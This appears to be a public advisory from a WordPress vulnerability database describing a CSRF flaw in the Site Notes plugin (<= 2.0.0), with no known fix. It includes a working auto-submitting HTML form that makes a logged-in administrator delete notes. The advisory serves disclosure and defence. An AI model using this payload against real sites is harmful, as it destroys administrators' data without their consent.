WordPress Plugin Vulnerabilities

Site Notes <= 2.0.0 - Admin Note Deletion via CSRF

Description

The plugin does not have CSRF checks in some of its functionalities, which could allow attackers to make logged in users perform unwanted actions, such as deleting administration notes, via CSRF attacks

Proof of Concept

Have an administrator open the following HTML file:

<html>
  <body>
    <form action="http://<TARGET-DOMAIN>/wp-content/plugins/site-notes/ajax-calls.php" method="POST">
      <input type="hidden" name="meta" value="note" />
      <input type="hidden" name="id" value="<POST_ID>" />
      <input type="hidden" name="value" value="DELETEALL!!" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Affects Plugins

No known fix

References

Classification

Miscellaneous

Original Researcher
Pedro Cuco (Illex)
Submitter
Pedro Cuco (Illex)
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-01-03 (about 4 months ago)
Added
2024-01-03 (about 4 months ago)
Last Updated
2024-01-03 (about 4 months ago)

Other